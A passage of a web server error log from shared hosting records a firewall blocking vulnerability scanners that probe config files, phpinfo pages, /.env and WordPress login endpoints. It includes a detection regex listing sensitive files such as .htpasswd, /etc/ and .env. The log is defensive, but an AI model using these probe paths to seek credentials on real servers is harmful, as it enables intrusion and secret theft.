"cpanel.eoz.fiz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BGwAAAmc"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.347983 2026] [security2:error] [pid 531155:tid 531202] [remote 17.241.219.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wmymiP80klyS0NnrgMQABSS4"] [Sat Jun 13 18:06:51.352089 2026] [security2:error] [pid 531797:tid 532063] [client 91.92.42.86:10922] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BHAAAAlU"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.365144 2026] [security2:error] [pid 531797:tid 532068] [client 91.92.42.86:10928] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BHgAAAlo"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.400287 2026] [security2:error] [pid 531797:tid 532077] [client 91.92.42.86:10964] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpcalendars/.env"] [unique_id "ai3wm8TA7b1mZrmcA-8BIAAAAmM"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.408009 2026] [security2:error] [pid 531797:tid 532107] [client 20.151.217.54:48190] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/a1.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BIQAAAoA"] [Sat Jun 13 18:06:51.413237 2026] [security2:error] [pid 531797:tid 532110] [client 91.92.42.86:10970] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BIgAAAoM"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.425947 2026] [security2:error] [pid 531797:tid 532111] [client 91.92.42.86:10984] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BIwAAAoQ"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.426269 2026] [security2:error] [pid 531797:tid 532112] [client 91.92.42.86:10978] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.eoz.fiz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BJAAAAoU"], referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.451821 2026] [proxy:error] [pid 531797:tid 532084] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:51.451886 2026] [proxy_http:error] [pid 531797:tid 532084] [client 91.92.42.86:11006] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.453333 2026] [proxy:error] [pid 531797:tid 532084] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:51.453384 2026] [proxy_http:error] [pid 531797:tid 532084] [client 91.92.42.86:11006] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.458282 2026] [security2:error] [pid 531797:tid 532061] [client 91.92.42.86:11018] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BJwAAAlM"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.521599 2026] [proxy:error] [pid 531797:tid 532050] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:51.521679 2026] [proxy_http:error] [pid 531797:tid 532050] [client 91.92.42.86:11050] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.522591 2026] [proxy:error] [pid 531797:tid 532050] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:51.522625 2026] [proxy_http:error] [pid 531797:tid 532050] [client 91.92.42.86:11050] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.541014 2026] [proxy:error] [pid 531797:tid 532104] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:51.541118 2026] [proxy_http:error] [pid 531797:tid 532104] [client 91.92.42.86:10964] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.542386 2026] [proxy:error] [pid 531797:tid 532104] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:51.542461 2026] [proxy_http:error] [pid 531797:tid 532104] [client 91.92.42.86:10964] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.560480 2026] [proxy:error] [pid 531797:tid 532113] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:51.560563 2026] [proxy_http:error] [pid 531797:tid 532113] [client 91.92.42.86:11066] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.561307 2026] [proxy:error] [pid 531797:tid 532113] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:51.561348 2026] [proxy_http:error] [pid 531797:tid 532113] [client 91.92.42.86:11066] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.627535 2026] [security2:error] [pid 531797:tid 532128] [client 191.234.188.123:63927] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ZSLeDE.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BLwAAApM"] [Sat Jun 13 18:06:51.660042 2026] [security2:error] [pid 531797:tid 532124] [client 20.9.67.71:54573] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.pempaleh.com"] [uri "/fff.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BMQAAAo8"] [Sat Jun 13 18:06:51.741040 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:06:51.741498 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:06:51.781394 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6Mw== [Sat Jun 13 18:06:51.781844 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6Mw== [Sat Jun 13 18:06:51.828106 2026] [security2:error] [pid 531797:tid 532036] [client 91.92.42.86:9992] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BNQAAAjs"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.930713 2026] [autoindex:error] [pid 531155:tid 531350] [client 151.247.52.102:59488] AH01276: Cannot serve directory /home3/tutiend2/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://bienesraices.hn/__media__/js/netsoltrademark.php?d=lapasteeventos.com [Sat Jun 13 18:06:51.971127 2026] [security2:error] [pid 531797:tid 532034] [client 91.92.42.86:9996] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "eoz.fiz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3wm8TA7b1mZrmcA-8BQAAAAjk"], referer: http://eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.975722 2026] [security2:error] [pid 531155:tid 531307] [client 178.20.42.231:51942] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 231.42.20.178.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.clenbuterol4you.com"] [uri "/xmlrpc.php"] [unique_id "ai3wmymiP80klyS0NnrgTAAAASA"], referer: https://www.clenbuterol4you.com/my-account/ [Sat Jun 13 18:06:51.977273 2026] [security2:error] [pid 531155:tid 531374] [client 91.92.42.86:10010] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3wmymiP80klyS0NnrgTgAAAWM"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:51.983934 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.91:56076] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:51.984391 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.91:56076] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:51.997725 2026] [security2:error] [pid 531155:tid 531224] [remote 13.205.160.37:49086] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.160.205.13.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "tywallace.com"] [uri "/wp-login.php"] [unique_id "ai3wmymiP80klyS0NnrgUwABHkQ"], referer: https://tywallace.com/wp-login.php [Sat Jun 13 18:06:52.005365 2026] [security2:error] [pid 531797:tid 532017] [client 91.92.42.86:10014] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_cpcontacts/.env"] [unique_id "ai3wm8TA7b1mZrmcA-8BQQAAAik"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.006122 2026] [proxy:error] [pid 531155:tid 531351] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:52.006199 2026] [proxy_http:error] [pid 531155:tid 531351] [client 91.92.42.86:10016] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.014343 2026] [security2:error] [pid 531797:tid 532022] [client 91.92.42.86:10018] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BQgAAAi4"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.014358 2026] [proxy:error] [pid 531155:tid 531351] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:52.014430 2026] [proxy_http:error] [pid 531155:tid 531351] [client 91.92.42.86:10016] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.024516 2026] [security2:error] [pid 531155:tid 531401] [client 91.92.42.86:10054] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "eoz.fiz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3wnCmiP80klyS0NnrgVQAAAX4"], referer: http://eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.025334 2026] [security2:error] [pid 531797:tid 532013] [client 91.92.42.86:10038] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcontacts.eoz.fiz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BRQAAAiU"], referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.027182 2026] [security2:error] [pid 531797:tid 532043] [client 191.233.234.186:33814] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gy.alvasonline.com"] [uri "/12.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BRgAAAkI"] [Sat Jun 13 18:06:52.029028 2026] [proxy:error] [pid 531155:tid 531306] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:52.029091 2026] [proxy_http:error] [pid 531155:tid 531306] [client 91.92.42.86:10070] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.030202 2026] [proxy:error] [pid 531155:tid 531306] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:52.030239 2026] [proxy_http:error] [pid 531155:tid 531306] [client 91.92.42.86:10070] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.045428 2026] [proxy:error] [pid 531155:tid 531364] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:52.045523 2026] [proxy_http:error] [pid 531155:tid 531364] [client 91.92.42.86:10078] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.047626 2026] [proxy:error] [pid 531155:tid 531364] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:52.047706 2026] [proxy_http:error] [pid 531155:tid 531364] [client 91.92.42.86:10078] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.050445 2026] [proxy:error] [pid 531797:tid 532045] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:52.050525 2026] [proxy_http:error] [pid 531797:tid 532045] [client 91.92.42.86:10086] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.052007 2026] [proxy:error] [pid 531797:tid 532045] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:06:52.052071 2026] [proxy_http:error] [pid 531797:tid 532045] [client 91.92.42.86:10086] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.134606 2026] [security2:error] [pid 531797:tid 532099] [client 91.92.42.86:10104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "eoz.fiz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BSgAAAng"], referer: http://eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.141757 2026] [security2:error] [pid 531797:tid 532096] [client 91.92.42.86:10110] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "eoz.fiz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BSwAAAnU"], referer: http://eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.149752 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.62:54310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:52.150012 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.62:54310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:52.152386 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNQ== [Sat Jun 13 18:06:52.152785 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNQ== [Sat Jun 13 18:06:52.236377 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:06:52.236745 2026] [access_compat:error] [pid 531155:tid 531249] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:06:52.277127 2026] [security2:error] [pid 531797:tid 531873] [remote 17.22.245.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BUAACNgk"] [Sat Jun 13 18:06:52.318913 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.51:35788] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:52.319344 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.51:35788] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:52.387351 2026] [security2:error] [pid 531155:tid 531356] [client 34.123.82.129:54860] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "goarchitects.com"] [uri "/.env"] [unique_id "ai3wnCmiP80klyS0NnrgZgAAAVE"] [Sat Jun 13 18:06:52.436507 2026] [security2:error] [pid 531155:tid 531347] [client 91.92.42.86:10140] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at 